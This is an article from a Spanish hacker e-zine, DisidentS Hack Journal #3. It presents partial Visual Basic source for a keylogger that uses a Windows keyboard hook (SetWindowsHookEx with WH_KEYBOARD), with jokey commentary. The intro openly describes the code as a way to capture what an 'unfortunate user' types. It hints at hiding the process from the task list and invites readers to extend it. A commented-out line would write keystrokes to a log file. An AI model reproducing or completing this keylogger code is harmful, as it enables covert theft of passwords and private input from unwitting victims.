



                        -+-| DisidentS Hack Journal #3 |-+-








  ___________________________________________________________________________
 |                                                                           |
 | -- Titulo_____: Hooks en VB [016]                                         |
 | -- Autor______: W3ndig0                                                   |
 | -- E-Mail_____: <disidents@yahoo.es>                                      |
 | -- Team_______: Disidents Espaa - http://www.disidents.int-ltd.com       |
 | -- KB_________: 7.2                                                       |
 | -- Tema_______: Artesania en visual basic                                 |
 |___________________________________________________________________________|







intro:
      No hay demasiado que decir, esto es un codigo para interceptar lo que
un desafortunado usuario escribe..un keylogger...esta sin terminar a fin de
que seais vosotros mismos los que experimenteis y veais que hace, lo modif-
queis etc.

Existen trucos para meter el proceso y eliminarlo de la ventanita de atl +
CTRL+ SUB, como por ejemplo registrar el tread..os recomiendo que experime-
nteis vosotros mismos, la idea es daros un codigo para que seais vosotros 
los que podais avanzar sobre ello, en la ezine 4 quizas me anime y os de to
do el tema completo.








'Api para retornarnos el thread actual..um um...
Public Declare Function GetCurrentThreadId Lib "kernel32" () As Long
'api para "setear" el hook
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idhook As Long, _
                                                                                 ByVal lpfn As Long, _
                                                                                 ByVal hmod As Long, _
                                                                                 ByVal dwthreadid As Long) As Long

Public Declare Function GetMessage Lib "user32" Alias "GetMessageA" (lpMsg As T_MSG, ByVal hwnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long) As Long


' HINSTANCE! CONSTANT IN THE SUNDAY MORNING
Public Const GWL_HINSTANCE = (-6)
Public Const WM_KEYFIRST = &H100

' TIPO DE HOOK, se debe de indicar al api k tipo de hook es..es decir, a que mensajes debe de
'interceptar para lanzar la funcion contenida en la direccion de memoria pasada al api, esta
'funcion va pasada en forma de direccion de memoria, en la variable lpfn
'
'lpfn es un puntero a la direccion de una funcion...esta FUNCION ES LA QUE SE EJECUTA EN EL HOOK
'AL PRODUCIRSE UN EVENTO.! y el tipo de evento k se espera va definido por Whook_type
'

' las declaraciones de estas constantes se encuentran en windows.h asike a tirar de C para ver
' los tipos de las funciones..o usar el explorador del api del vb6, usar el archivo win32api,no
' hay nada como ser bilingue..puedes enrrollarte con dos tias a la vez :)P
'

Public Const WH_KEYBOARD = 2

'posicion del puntero del mouse
Public Type POINTAPI
        x As Long
        y As Long
End Type


'extructura del mensaje retornado por el api
Public Type T_MSG
    hwnd As Long
    message As Long
    wparam As Long
    lparam As Long
    time As Long
    pt As POINTAPI
End Type

Public msg As T_MSG


'}Primero sus pongo como va en C y luego la traduccion a VB, si no teneis el VB6 completo
'y el apiviewver..no estaria de mas que os hicierais con el..os solucionara mucho y ahorra
'reis tiempo.
' extructuria de acunfiguracion del hook
'HHOOK SetWindowsHookEx(
'  int idHook,        // hook type
'  HOOKPROC lpfn,     // hook procedure
'  HINSTANCE hMod,    // handle to application instance
'  DWORD dwThreadId   // thread identifier
');

Private Type T_Hookguay
        idhook As Long
        lpfn As Long
        hmod As Long
        dwthreadid As Long
        hhooKRET As Long
End Type
        Public Hook As T_Hookguay 'ale punterete a la extructura






Public Sub Ignition()
' cheeeeleeeee dale virillaaa..dale candeeeeelaaaaaaaaaa!!!!
' vale..ahora en serio..XD inicializamos los parametros de la funcion setwindowshookex
' usease..acunfiguramos el tema....
Hook.dwthreadid = GetCurrentThreadId() 'seteamos cual es el thread actual.
Hook.lpfn = Adresspackajing(AddressOf Interceptor) 'whao! un puntero a una funcion..hay k hoderse XD
Hook.idhook = WH_KEYBOARD  'podiamos haberlo pasado directamente ..pero asi esto os puede servir para
                        'usar esto en otras cosas..otros codigos..otros mundos..otros lares..otros
                        'programillas vamos.

Hook.hmod = 0 ' esto tiene su rollete, veamos, si llamasemos a un hook en una dll no deberia ser null,deberia
                   ' de contener un handle al hook contenido en la dll..pero como el proceso esta identificado a
                   'nuestro programilla y ademas le pasamos la identificacion del thread entonces..null

                  
Hook.hhooKRET = SetWindowsHookEx(Hook.idhook, Hook.lpfn, Hook.hmod, Hook.dwthreadid) ' seteamos el hook
                   'en este momento nuestra funcion interceptor..esta asociada a un evento de teclado...
                   'cada vez que se produzca un evento...iterceptor se activa y se lanza!.
                   

MsgBox Hook.hhooKRET
'Open App.Path & "BLACKWIDOW.LOG" For Output As #1

End Sub






Public Function Interceptor(ByVal code As Long, ByVal wparam As Long, ByVal lparam As Long) As Long
' Larga vida al seor de los chiringos!! que de su caliz bebamos todos esta noche
' tras haber demostrado una vez mas que la imaginacion, es mas importante que el
' conocimiento.

'ret = GetMessage(msg, 0, 0, 0)

'Print #1, Chr(wparam)
GetMessage msg, 0, 0, 0
Form1.Text3.Text = Chr(msg.wparam) + vbCrLf & msg.message

' mama ma ma! soy un jeikeeer!! y hay unos seores con bigote y un gorro mu raro en
' la puerta!...novia mia mandame un portatil a la carceeel!!!

End Function






Public Function Adresspackajing(ByVal Add As Long) As Long
Adresspackajing = Add
End Function


-----------------------------------------------------------------------------


                          ------------
                          |          |
                          |   E0f!   |
                           -/---------
                           / 
                          """"     
                        """  """              %%%
                       """      ""         %%%% )
                        ""()    ""   %%%%%%   )
                         \ |    "" %"""""  ) )
                          \|   ""%%       )#
                              ""%%  ) )  )#
                             ""#% ) )"""""""
                            ""#%% """"""""#
                            """""""""""""#
                       ....   """""""""".......
                            ...............
                     ......                ........
                            .............. 
-----------------------------------------------------------------------------
-----------------------------------------------------------------------------
contacto: disidents@yahoo.com 
contacto: north@demasiado.com
-----------------------------------------------------------------------------

